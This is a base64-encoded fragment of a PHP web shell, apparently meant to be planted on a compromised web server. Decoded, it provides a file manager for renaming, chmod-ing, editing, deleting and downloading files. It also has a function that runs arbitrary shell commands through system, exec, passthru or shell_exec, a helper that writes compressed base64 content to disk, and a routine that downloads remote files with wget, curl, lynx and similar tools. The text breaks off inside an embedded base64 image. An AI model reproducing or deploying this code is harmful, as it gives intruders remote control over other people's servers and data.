IA0KPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJjaG1vZF9mb2xkZXJcIiB2YWx1ZT1cImNobW9kXCIgLz4gDQo8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cImNhbmNlbFwiIHZhbHVlPVwiY2FuY2VsXCIgDQpvbmNsaWNrPVwidHVrYXIoJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9mb3JtMycpO1wiIC8+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii5kYXRlKCJkLU0tWSBIOmkiLEBmaWxlbXRpbWUoJGZvbGRlcikpLiI8L3RkPjx0ZD48YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcignIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm0nKTtcIj5yZW5hbWU8L2E+fCA8YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZmRlbGV0ZT0iLiRwd2QuJGZvbGRlci4iXCI+ZGVsZXRlPC9hPg0KPC90ZD4NCjwvdHI+Ijt9fWZvcmVhY2goJGZuYW1lIGFzICRmaWxlKXsgDQokZnVsbCA9ICRwd2QuJGZpbGU7IA0KaWYoISR3aW4gJiYgJHBvc2l4KXskbmFtZT1AcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZmlsZSkpOyAkZ3JvdXA9QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGZpbGUpKTsgJG93bmVyID0gJG5hbWVbJ25hbWUnXS4iPHNwYW4gY2xhc3M9XCJnYXlhXCI+IDogPC9zcGFuPiIuJGdyb3VwWyduYW1lJ107fSANCmVsc2UgeyAkb3duZXIgPSAkdXNlcjsgfSANCiRidWZmIC49ICI8dHI+PHRkPjxhIGlkPVwiIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2xpbmtcIiBocmVmPVwiP3k9JHB3ZCZhbXA7dmlldz0kZnVsbFwiPjxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQUFBZjgvOWhBQUFBQVhOU1IwSUFyczRjNlFBQUFBUm5RVTFCQUFDeGp3djhZUVVBQUFBSmNFaFpjd0FBRHNNQUFBN0RBY2R2cUdRQUFBQWFkRVZZZEZOdlpuUjNZWEpsQUZCaGFXNTBMazVGVkNCMk15NDFMakV3TVBSeW9RQUFBWFZKUkVGVU9FK05ranRQd2xBWWh2MERMRVpKU0RRYXdRQ1RjWUQvWVdJa3pxeDBjSFQxRDdDNG5NUkZTZE9XaTR1em05RkZYY1JCSTNLeFFHbExvWUNBSUx5ZWtoaVJ3NlVuZVpLbWViOG43OWVlcGFXLzQzZTVYRkdmejBjc3ZGNHY4WGkyeWZyR0psbGVjUklhMnhuTE1vK09jRGlzNmtZTnVsRWZVZEVNWkQvS3VIMUlRN3k2UmlRUzBlWkpBb2xraWc2VS9wSEp5MGkvdk9QbS9nbmxpa1lsM0V4Sk1KbTZoRnhXR1FwRmhVcXlLSlFxeU5GR0hNZnB0TW51NUE1VWtCclZacWtpTHl0NHpjckk1SXQ0eThuWTJ3OVprclZ4U2RCYW9Wb3paNkxxdFZHRHU4ZG5IQjJmZ0E0SEdZSFphR0UyVFJqMUJvcUtobE55eGdyaWlTUmFuKzJGbU0wV1lyekFDaVFxNkhTN0MybDN1aERqaVNrQyt2S3IxN09GTkUwZ1NuSDArOSsyc0xMTVJ4UkVDWVBCd0JhQ09FWEFDeUtHdzZFdGVFRmlHZ1RPWXp6c25ndWFwU3NFeHUrQjR5QjBxSllVbGY1cmN5NVd4c3JTWWNma2RmYXZPcDNSTGJlYnpNUEswRUgvNy9BUHY1OWo3WCtnSk5JQUFBQUFTVVZPUks1Q1lJSSUzRCcgLz4gICRmaWxlPC9hPiANCjxmb3JtIGFjdGlvbj1cIj95PSRwd2RcIiBtZXRob2Q9XCJwb3N0XCIgaWQ9XCIiLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybVwiIGNsYXNzPVwic2VtYnVueWlcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIj4gDQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJvbGRuYW1lXCIgdmFsdWU9XCIiLiRmaWxlLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MjAwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3bmFtZVwiIHZhbHVlPVwiIi4kZmlsZS4iXCIgLz4gDQo8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cInJlbmFtZVwiIHZhbHVlPVwicmVuYW1lXCIgLz4gDQo8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cImNhbmNlbFwiIHZhbHVlPVwiY2FuY2VsXCIgb25jbGljaz1cInR1a2FyKCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZmlsZSkuIl9mb3JtJyk7XCIgLz4NCjwvZm9ybT48L3RkPjx0ZD4iLnVrdXJhbigkZnVsbCkuIjwvdGQ+PHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii4kb3duZXIuIjwvdGQ+PHRkPjxjZW50ZXI+DQo8YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcignIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybTInKTtcIj4iLmdldF9wZXJtcygkZnVsbCkuIjwvYT4NCjxmb3JtIGFjdGlvbj1cIj95PSRwd2RcIiBtZXRob2Q9XCJwb3N0XCIgaWQ9XCIiLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybTJcIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+IA0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiIi4kZmlsZS4iXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCIgLz4gDQo8aW5wdXQgY2xhc3M9XCJpbnB1dHpcIiBzdHlsZT1cIndpZHRoOjIwMHB4O1wiIHR5cGU9XCJ0ZXh0XCIgbmFtZT1cIm5ld3ZhbHVlXCIgdmFsdWU9XCIiLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkZnVsbCkpLCAtNCkuIlwiIC8+IA0KPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJjaG1vZFwiIHZhbHVlPVwiY2htb2RcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiY2FuY2VsXCIgdmFsdWU9XCJjYW5jZWxcIiBvbmNsaWNrPVwidHVrYXIoJyIuY2xlYXJzcGFjZSgkZmlsZSkuIl9saW5rJywnIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2Zvcm0yJyk7XCIgLz48L2Zvcm0+PC9jZW50ZXI+PC90ZD4NCjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuZGF0ZSgiZC1NLVkgSDppIixAZmlsZW10aW1lKCRmdWxsKSkuIjwvdGQ+IA0KPHRkPjxhIGhyZWY9XCI/eT0kcHdkJmFtcDtlZGl0PSRmdWxsXCI+ZWRpdDwvYT4gfCA8YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcignIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybScpO1wiPnJlbmFtZTwvYT58IDxhIGhyZWY9XCI/eT0kcHdkJmFtcDtkZWxldGU9JGZ1bGxcIj5kZWxldGU8L2E+IHwgPGEgaHJlZj1cIj95PSRwd2QmYW1wO2RsPSRmdWxsXCI+ZG93bmxvYWQ8L2E+Jm5ic3A7KDxhIGhyZWY9XCI/eT0kcHdkJmFtcDtkbGd6aXA9JGZ1bGxcIj5nejwvYT4pDQo8L3RkPjwvdHI+Ijt9IA0KJGJ1ZmYgLj0gIjwvdGFibGU+IjsgcmV0dXJuICRidWZmO30NCmZ1bmN0aW9uIHVrdXJhbigkZmlsZSl7aWYoJHNpemUgPSBAZmlsZXNpemUoJGZpbGUpKXtpZigkc2l6ZSA8PSAxMDI0KSByZXR1cm4gJHNpemU7ZWxzZXtpZigkc2l6ZSA8PSAxMDI0KjEwMjQpIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwMjQsMik7Ow0KcmV0dXJuICIkc2l6ZSBrYiI7fSBlbHNlIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwMjQgLyAxMDI0LDIpO3JldHVybiAiJHNpemUgbWIiO319fQ0KZWxzZSByZXR1cm4gIj8/PyI7fSBmdW5jdGlvbiBleGUoJGNtZCl7aWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkge0BvYl9zdGFydCgpO0BzeXN0ZW0oJGNtZCk7JGJ1ZmYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7JGJ1ZmYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7QG9iX2VuZF9jbGVhbigpOw0KcmV0dXJuICRidWZmO30gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7QGV4ZWMoJGNtZCwkcmVzdWx0cyk7JGJ1ZmYgPSAiIjtmb3JlYWNoKCRyZXN1bHRzIGFzICRyZXN1bHQpeyRidWZmIC49ICRyZXN1bHQ7fSByZXR1cm4gJGJ1ZmY7fSANCmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1Jykpe0BvYl9zdGFydCgpO0BwYXNzdGhydSgkY21kKTskYnVmZiA9IEBvYl9nZXRfY29udGVudHMoKTtAb2JfZW5kX2NsZWFuKCk7cmV0dXJuICRidWZmO30gDQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpeyRidWZmID0gQHNoZWxsX2V4ZWMoJGNtZCk7cmV0dXJuICRidWZmO319IGZ1bmN0aW9uIHR1bGlzKCRmaWxlLCR0ZXh0KXskdGV4dHogPSBnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkdGV4dCkpO2lmKCRmaWxleiA9IEBmb3BlbigkZmlsZSwidyIpKSB7QGZwdXRzKCRmaWxleiwkdGV4dHopO0BmY2xvc2UoJGZpbGUpO319IA0KZnVuY3Rpb24gYW1iaWwoJGxpbmssJGZpbGUpIHtpZigkZnAgPSBAZm9wZW4oJGxpbmssInIiKSl7d2hpbGUoIWZlb2YoJGZwKSl7JGNvbnQuPSBAZnJlYWQoJGZwLDEwMjQpO31AZmNsb3NlKCRmcCk7JGZwMiA9IEBmb3BlbigkZmlsZSwidyIpO0Bmd3JpdGUoJGZwMiwkY29udCk7QGZjbG9zZSgkZnAyKTt9IH0gDQpmdW5jdGlvbiB3aGljaCgkcHIpeyRwYXRoID0gZXhlKCJ3aGljaCAkcHIiKTsNCmlmKCFlbXB0eSgkcGF0aCkpIHtyZXR1cm4gdHJpbSgkcGF0aCk7fQ0KZWxzZSB7cmV0dXJuIHRyaW0oJHByKTt9fQ0KZnVuY3Rpb24gZG93bmxvYWQoJGNtZCwkdXJsKXskbmFtYWZpbGUgPSBiYXNlbmFtZSgkdXJsKTsNCnN3aXRjaCgkY21kKXtjYXNlICd3d2dldCc6IGV4ZSh3aGljaCgnd2dldCcpLiIgIi4kdXJsLiIgLU8gIi4kbmFtYWZpbGUpO2JyZWFrO2Nhc2UgJ3dseW54JzogZXhlKHdoaWNoKCdseW54JykuIiAtc291cmNlICIuJHVybC4iID4gIi4kbmFtYWZpbGUpO2JyZWFrO2Nhc2UgJ3dmcmVhZCcgOiBhbWJpbCgkd3VybCwkbmFtYWZpbGUpO2JyZWFrO2Nhc2UgJ3dmZXRjaCcgOiBleGUod2hpY2goJ2ZldGNoJykuIiAtbyAiLiRuYW1hZmlsZS4iIC1wICIuJHVybCk7YnJlYWs7Y2FzZSAnd2xpbmtzJyA6IGV4ZSh3aGljaCgnbGlua3MnKS4iIC1zb3VyY2UgIi4kdXJsLiIgPiAiLiRuYW1hZmlsZSk7YnJlYWs7Y2FzZSAnd2dldCcgOiBleGUod2hpY2goJ0dFVCcpLiIgIi4kdXJsLiIgPiAiLiRuYW1hZmlsZSk7YnJlYWs7Y2FzZSAnd2N1cmwnIDogZXhlKHdoaWNoKCdjdXJsJykuIiAiLiR1cmwuIiAtbyAiLiRuYW1hZmlsZSk7YnJlYWs7ZGVmYXVsdDogYnJlYWs7fQ0KcmV0dXJuICRuYW1hZmlsZTt9ZnVuY3Rpb24gZ2V0X3Blcm1zKCRmaWxlKSB7aWYoJG1vZGU9QGZpbGVwZXJtcygkZmlsZSkpeyRwZXJtcz0nJzskcGVybXMgLj0gKCRtb2RlICYgMDA0MDApID8gJ3InIDogJy0nOyRwZXJtcyAuPSAoJG1vZGUgJiAwMDIwMCkgPyAndycgOiAnLSc7JHBlcm1zIC49ICgkbW9kZSAmIDAwMTAwKSA/ICd4JyA6ICctJzskcGVybXMgLj0gKCRtb2RlICYgMDAwNDApID8gJ3InIDogJy0nOyRwZXJtcyAuPSAoJG1vZGUgJiAwMDAyMCkgPyAndycgOiAnLSc7JHBlcm1zIC49ICgkbW9kZSAmIDAwMDEwKSA/ICd4JyA6ICctJzskcGVybXMgLj0gKCRtb2RlICYgMDAwMDQpID8gJ3InIDogJy0nOyRwZXJtcyAuPSAoJG1vZGUgJiAwMDAwMikgPyAndycgOiAnLSc7JHBlcm1zIC49ICgkbW9kZSAmIDAwMDAxKSA/ICd4JyA6ICctJzsNCnJldHVybiAkcGVybXM7fWVsc2UgcmV0dXJuICI/Pz8/Pz8/Pz8/Ijt9ZnVuY3Rpb24gY2xlYXJzcGFjZSgkdGV4dCl7cmV0dXJuIHN0cl9yZXBsYWNlKCIgIiwiXyIsJHRleHQpO30NCiR0dW5pc2lhID0gJ2Jhc2U2NCwvOWovNEFBUVNrWkpSZ0FCQVFBQUFRQUJBQUQvL2dBN1ExSkZRVlJQVWpvZ1oyUXRhbkJsWnlCMk1TNHdJQ2gxYzJsdVp5QkpTa2NnU2xCRlJ5QjJOaklwTENCeGRXRnNhWFI1SUQwZ09UQUsvOXNBUXdBREFnSURBZ0lEQXdNREJBTURCQVVJQlFVRUJBVUtCd2NHQ0F3S0RBd0xDZ3NMRFE0U0VBME9FUTRMQ3hBV0VCRVRGQlVWRlF3UEZ4Z1dGQmdTRkJVVS85c0FRd0VEQkFRRkJBVUpCUVVKRkEwTERSUVVGQlFVRkJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVLzhBQUVRZ0E5UUlJQXdFaUFBSVJBUU1SQWYvRUFCOEFBQUVGQVFFQkFRRUJBQUFBQUFBQUFBQUJBZ01FQlFZSENBa0tDLy9FQUxVUUFBSUJBd01DQkFNRkJRUUVBQUFCZlFFQ0F3QUVFUVVTSVRGQkJoTlJZUWNpY1JReWdaR2hDQ05Dc2NFVlV0SHdKRE5pY29JSkNoWVhHQmthSlNZbktDa3FORFUyTnpnNU9rTkVSVVpIU0VsS1UxUlZWbGRZV1ZwalpHVm1aMmhwYW5OMGRYWjNlSGw2ZzRTRmhvZUlpWXFTazVTVmxwZVltWnFpbzZTbHBxZW9xYXF5czdTMXRyZTR1YnJDdzhURnhzZkl5Y3JTMDlUVjF0ZlkyZHJoNHVQazVlYm42T25xOGZMejlQWDI5L2o1K3YvRUFCOEJBQU1CQVFFQkFRRUJBUUVBQUFBQUFBQUJBZ01FQlFZSENBa0tDLy9FQUxVUkFBSUJBZ1FFQXdRSEJRUUVBQUVDZHdBQkFnTVJCQVVoTVFZU1FWRUhZWEVUSWpLQkNCUkNrYUd4d1Frak0xTHdGV0p5MFFvV0pEVGhKZkVYR0JrYUppY29LU28xTmpjNE9UcERSRVZHUjBoSlNsTlVWVlpYV0ZsYVkyUmxabWRvYVdwemRIVjJkM2g1ZW9LRGhJV0doNGlKaXBLVGxKV1dsNWlabXFLanBLV21wNmlwcXJLenRMVzJ0N2k1dXNMRHhNWEd4OGpKeXRMVDFOWFcxOWpaMnVMajVPWG01K2pwNnZMejlQWDI5L2o1K3YvYUFBd0RBUUFDRVFNUkFEOEErVnBGQnJNMUNBajVoV214cGtrWWRDRFh4U2RqL1FPdlNWYUxpVjlPdVBNVGFUeUtXL3N4Tkdhb3NyV2srUndNMXJ3eUNhTUdtOUhkSE5RYXIwM1FxYm80MitzdHJIaXM0cHRPQ0s3UFVMSU9wd0s1cTh0U2hQRmRkT2R6NGpNc3ZkQ1YwaW1pQTA4UkE5cWF1WXppcDRqbXRUeDZjVTlHSUljakdLUTIrMDFjaVVHcHZLQkZaODFqMFk0WlRXaG5DTWlwRlhGV210OGRLYjVXS2ZNQ29PTElsV3BGSFNuQ09wRlRGVGMzalRZS09La0E0cEF0U0JhaHM3b1JGVVZLQmltcXRTQmFsbmJDSTVhY0Rpays3VEdrQzFKMFg1ZHlVdmdVaHVGRlZYbE5STVNhYWlZeXhMV3hkT29CT2dxSjlUWTlxamdzWnJnL0t2SHFhdlE2Qm5tUjhmU2g4cTNLZ3NaWCtCYUdZK29zYWlONlQxcm9rOFAydzZrbXBCb0ZvUDREUzlwQkduOWxZNmVya3Z2T1grMVo3MG91QWE2ZzZEWi84ODZZMmhXWS9oL1duN1dKTHlmR0xlU09jRW9QZWxEZTliYjZSWXhubkkvR3E3MjFqR2VDZnpwODZaenl3RmFuOGNvL2VaMmMwMTR3YXVPdG4yY2lvbldBL2RrL09xdWMwNk50RzAvbVowOFZRMnN2bFM0UFN0QjR3UWNNRFZDYUlnOU9hMFR2b2VSV3B1bkpUaWFUU0Fya0dzMjV2dGhJcGd1V1FiVFZaMTgxaVRUakcyNWhpTVZLY1VvYml0Zk0zU29tbmtiT00xUEhDbzZpcEFpZ2RLMDBSNTNKVW5yS1JtUEE4eDV6VDQ3QUtlUldqa0QwRkl6Z1UrWm1Td2xOUG1rN2xYeU52dFRUQnU0SFdwMllFMVBiUUJtQnBYc1hHaEdvK1dJdW42WHVZRWl1a3Q3WVJSWUFxS3lnQVVWZUs0VVZ4em01TSs2eS9CUW9RdWtWaUtobmp5S3NrVkhJT0tsTTY2a0xxeGp6eDRKcDFqeEtLbXVJODVwbG9QM29yZStoNEhzK1dzanFiQTVpRldKT2xRMlM0aVdwSk90Y1QzUDBlbHBTUXlrYmdacHdHYWpuNFEwRVMwaTJRUnJ1bE5Hb3Y4aW9LbHRrNXpWYThPNmNWUzNPS2E1YUw4elAxQ2I3UGJISFU4VmJIN2pSaDY3YzFqNnZKNWwxREVPbTZ0clVsMjZaZ2RsclZyUmVaNGxHbzVUcnlYMlkyT0F1U1dtY251YXJ1dVJWaWNmTVQ3MUNSa1Y2U1B5ZXFyeWR5QWNWWmk1R2FnQ2M0cXhHS2JNS1MxTEVDNUlGZERwY1B6Q3NXelRMQ3VxMHFEQ2c0cmtxdXlQdDhtb09jMHpYdDAyb0tmSTIxYWNvd0FLaHVEaFRYQjFQMDkrNUF6cnVUazBWQmNuazBWdXRqNVd0TnViTmh1dFBUbW1OMXB5R3NUNmVMOTRodkxiekV6am1xbGpPWVpmTFk0RmEyQXd4V1hmMnhSdDZqa1ZVWGZSbkxpYWJweVZlbjBORjFEcldIcU5ua0VnVnFXTjBKa3dlb3AxMUQ1aW5paE54WVlpbkRGMGJvNG00aTJ0VWNiWU5hdW9XdTFqeFdWS2hSdlN1Nkx1ajgxeEZGMEpzdXd2MHE5RnlLeW9YeGl0RzNmaXM1STlIQzFFeXlZd2FZMFB0VThmelUvWURXVnoydlpxU3VWUEt4MnBSSHgwcXhzbzJVN2sreHNRS2xTS3RQMlV1TVVybWloWVFERkJiRk5ac1ZFejVvc0tVMUhZZThsUWx5YUFyT2NDcnRycGpTY3NNQ25kTGN6akNwWGRvSXFSUVBPd0Nqcld0YTZZa1EzU2ZNM3BWbUtCTGRjS09mV2huckp5YjJQY29ZS0ZCYzFUVmp2TVZCZ0RGTEd4YzFDcU5LMkIwcTJpQ05jRHJXYlBUcDgwM2ZvU0x3S1JwUUtqa2wyRGsxajZqcktRZ2hUelFvdVQwSGlNWFR3MEx6ZGpSdWRRU0VaTFZoWHZpTEdRbFlWOXFqU3NmbU5aN1N0STFkc0tQYy9QTWZ4RE9iY2FPaHF6NnhKS1Q4MktxbStkajFOVmxpSjYwOWsyajNyZFJpajVxV0pyMWZla3laYmhpZnZWS2tySHZXZnVJTlRSTzNyVHNSVHJ0dXpMdm10NjA0VEdraVhjS2MwZUt6MFBVWFBhNll4Z3JqcHpVVFJZNkduTXZYdFNESTYwMFlTMTNSSHRaVFRXWnMxWVVnaWxLRHJpbmNqMmQ5bVZmbU5KZ21ySlVVb2pGRnlQWk45U29SaXJ0aEtOd0ZOTUdlMVJoVEMrYUhaNkZVNHlvelV1aDFsb01vS3NPZUtvNlRONWtZcXhLL0pGY0RXcCtpMGFrWFJVbDFIOWFoY1VxdGs5YUhwaEpwb3BYQXdEVVZsSG1iOGFudUJUYklmdlJtdGVoNURnblhSMHRxdUVBOXFXUWNtaTJQeUFVUHlhNU9wOTJ2NGFHanBVTndhbXFDWWZOVkk1NnZ3a2tBd2hxak56S3hxK25FUnFoSi9FYWFPYkVhUWlqQWtVemFxbnNhNkxVRTNXRER2aXNTQ0luVWczdlcvZGdHMGI2VnJONm84TEw2ZDZWZHZyYzg3dVVJZHZyVVJYNWF1M3EvdkgrdFY5dUZydlQwUHpPclR0Tm9yRmNHcG9WcGg2MWJzb2pJNEFGVkoyUmhScDgwK1ZHanBsdVhZY1YxMWxEdFFjWXJNMDIxV05WSndEVzNDUXc0NlY1dFNWMmZyT1VZUlVZSnZjZmlvYmhjcWFzZ1V5Uk1pc1Q2YWNPYU5qQXVWb3F6ZXc3U2FLM1QwUGtLOUpxYlJmYnJRcDVwemQ2WURXSjlLOUdUSWFXV01TSVJVYUhGVEszRkk2STJrck14am16dU0vd2sxcUk0bGp5S2p2cllTb2VPYXAyTTVpZnkzL0NyM1Z6elkzdzFYMmIrRmlYOXFHQk9LNTI3dDlwTmRsTEdIVTFoNmphWnpnVnBUbDBQSXpUQktTNTRvNThIYWF1VzhtTVZYbWoyTWFJbTJtdXA2bytPcHQwNTJadHdQa1ZaVVpGWnRySmtpdFNFNUZjMHRENjNDejlvaHBGR0tsWmMxR1JnMUZ6dGNiRFNLWTFTRVpwTnVhZHpLVWV4WFpTVFNyRnZZQURtcDltS3VXVnVNN2lLSEt3cVdIZFNYS090TEJZZ0dZWk5XandLZWFZMVl0M1BvNFVvMG84c1VNYzRwZ1hlY0NsZmo2MUxGSHRIUFdtUW91Y3JEa1VJdkZObGtDTGs4VVNTQkFhd2RYMVlScVZVODA0eGNtWll2RlF3bE55a3htcmF4c3lvTmN2ZDN6U01lYVplWGhsYzVQTlZFUnBHeWE5S0ZOUlIrUTVqbWRURjFHa3g2N3BUVnFLRUFVa1VlMGRLOU8rRy93RThXZkVrSlBaMllzZE1KNTFDOHlrWkgreU9yL2dNZTlYckoyaWp5NVZLR0RwdXRpWnFLN3M4NHh0UEZJSUpiaHdrVWJTeUhvcUFrbjhLKzFmQi83SlBoTHc0c1Urc1NUYS9kcnl3bFBsd1o5a1hrL2lUWHBsdG9PbGFCYkMzMHZUN1hUNFFNQkxhRll4K2dycmhoSnZXVHNmSDQzakxDVTd3dzBIUHorRmZxL3dSOEM2UDhIZkd1dXFyV25ocS8yTjBlZUx5VlA0dmdWM3VnZnNsK09OVWFQN1IvWjJtcWV2Mmk1M0VmOEFmQWIrZGZYWjYxYXM1dGpBWnJvV0ZoMVo4dlU0dnhyZjdxRVkvSnQvbitoNEhvMzdDMnJYS2czUGlxeGl6Mmh0bmY4QW1WcTNxWDdBL2lCSVMybitLTk11bi91M0VNa1g2amRYMDlvbW9iU0FUeFhYV2wwR1FEZHpWZlZLWFl5anhqbkVYL0VWdTNMSC9JL1BUeFIreDc4Uy9EcVBKSHBNR3J3cnlYMDY1VnorQ3R0WS9nSzhrMTd3dnEzaG02TnRxK21YZWwzQS93Q1dWNUEwVEg4R0FyOWVOaXl4NDcxamEzNGZzdFh0WHR0UXNvTCsxY1lhQzVpV1JHK29JeFdNc0hIN0xQYXczSFdKaTdZcWxHUzhycC9xdnlQeUtLWTlxZUZKR0RYMy93Q1BmMk5mQlhpcEpKOUpXWHcxZk1jZzJuendaOTR6MEgrNlJYeXI4VmYyY2ZHSHdyZVM0dTdUKzB0SFU4YWxZZ3ZHQi90anFuNDhlNXJpcVVLbFBkYUgzK1djUlpkbVRVS2MrV2IrekxSL0xvL2s3K1I1VTBWV2JPMkV6WXpVT0RTeHV5TmtjRWQ2NW5zZlhVK1NNMDVMUTJQN0ovZDVBck11N2Jabml0R3oxd3FtMlVaOTZyM3N5ejVaVGtWakhtVDFQWnhFY0xVcEtWSjY5aGRFWTVJN1ZvUzhNYW9hU01NVFdoS010VXkrSTY4R245V1NFV2grOUNpbVRuYURVZFRyYjVZM0swclpHTzlTV1NFeUNxNStacXYyYWJTS3Q2STRxSzU2cVp0MncrVVVQMXBMZjd0RWd3VFhOMVB0VjhDQ29KT1dxVUdtT01uTk5HRTlVUDZSVlMyNXpWMC82bzFWVVpOTkdOWlhhUlFpdHl0MXVyU3VSL29qZlNrTVlEWnAxM3hhdDlLYmQyam1wMFZTcHpzY0xkcjg3L1dxY3JZRlg3bm56RDcxbHpISk5lbkUvSk1XK1Z0akYrWjYyckZWaFVNZXRaTnZHV2JOYXNLbGlBS0o5Z3dFZVY4OXRUVGh1SkpYQ0xYU1drZjJlQUZ6emp2V2ZvZGdFWHpHSE5TYXZlK1dOb09LOCtYdlBsUituWU9Md3RCNG1zOVhzV0cxRkErQWMxYWhsRXk4Y2l1UkV4TFp6VzFwVnpuNVNhVW9XUnJoTXlkYXB5eUxsNUR1VTBWWWxHNWFLaE94NkZiRHFjcmtUQ21zT0tsYW8zK1VVSTFtdW8wTmlucElLclNQZzAxV0pOT3h6S3J5dXhvQTdsck52cmNxMjllb3EvQjBGSmNKbGVsSk96T2l0VFZhbmRrRmxjK2F1MDlSUmQyNGtVMVNjR0NRT240aXRLR1VUeFpwdlRWSEpTbjdXTHBUM1J6Ti9hYlNhelNwVTExVi9hN2dlSzU2NnR5am5pdXFuSzZQanN4d2pwVDVraGJaeUdGYlZxMjVSWFB4WkRWczJVbUFLVlJHdVgxTE96Tklya1ZHeTFNdkl6VFN0Y3g5UTQzSUF0UENlMVAyVTREaW5jaFFJZ21TT0swTGRjQVZVVmVhdVJIZ1ZMTzNEUnRLNUl3elVibmFwSnFZOUtxT1RMSnRIM1IxcVR0cVBsV200c1NsanZQNENwbmNLS1FEQXJQMUc3RUtubW1sZG5QVXFMRDArWmxiVmRSRVNFQTF4OS9lR1JtT2MxYTFPK01qbm1za2d5TlhvMG9jcXV6OG96Zk1aWW1vNHhlZ3hVTWpaeFczNGQ4T2FoNGoxTzMwM1M3U1M5dnAyMnh3eExray93QkI2azhDdFg0ZS9EM1Z2aUo0Z2cwZlI0UE5uaytaNUc0U0ZPN3Vld0g2OUJYM3I4SnZnem8zd20wanlMT1A3UnFNd0gybS9rSHp5bjBIOTFmUWZubXUyblNkVitSK2Y1cG05REpvV2Z2VlhzdjFmbCtaNTM4SC93QmxYU2ZDY2NPcCtLRmkxblZ4aDF0U04xdEFmb2Z2bjNQSHQzcjNzSXNTS3FBS29HRkNqQUE5S2xJd1R4eFZlZVh5eDF4WHF3aEdtclJSK080M0g0ak1LbnRjUks3L0FBWG91aERjdHRCejNySHZKQjA3MVl2dFVpanlDd3pYSCtKL0hHaitHNERjYXBxTnZZd25vMDBnVXQ3QWRUOUJWdDIxWnd4aktiVVlxN1p0cysyaU9VWjY4MTRMNGkvYXU4T2FlelI2WmFYZXJPRHcrQkRHZnhibi93QWRyaHIvQVBhNDE2YVFteTBmVDdaZjRmTlo1Q1BxUVFQMHJGMTZhNm4wRkRoL01hNnVxZGw1dEw4Ti93QUQ3TDA2OTJsZWNZNjExbW1hb3U0WlA0MStmQS9hdThjQjl5alRVeDJGc2Y4QTRxdG5UUDJ4dkd0bXdNMXBwVnl2b1lYWCtUMW45YXBub0xoVE1XdE9YNy8rQWZvM3AxMnN3QXpWK1dJTXZybXZpUHdmKzNoREJKR211ZUdwSWs2TkxZVGgvd0R4eGdQL0FFS3ZvNzRjL3RHK0IvaVEwZHZwbXR3cGZQd0xLOC9jekUrZ0RmZVArNlRXc2ExT2VpWjVXS3lQTWNFbkt0UmR1NjFYM3E5dm1kL0xGc09EVlY0a3VWWkhBZENDcklSa0VlNHE5TzZTRW52VktRYlEyMDdUMXJZOEkrYi9BSTFmc2ZhVDR1V2ZWZkNDdzZMclJ5N1dXTnRyY0gySC9MTnZwOHZzT3RmRnZpRHc1cVhoVFY3blM5WHNwdFAxQzNiYkxCTX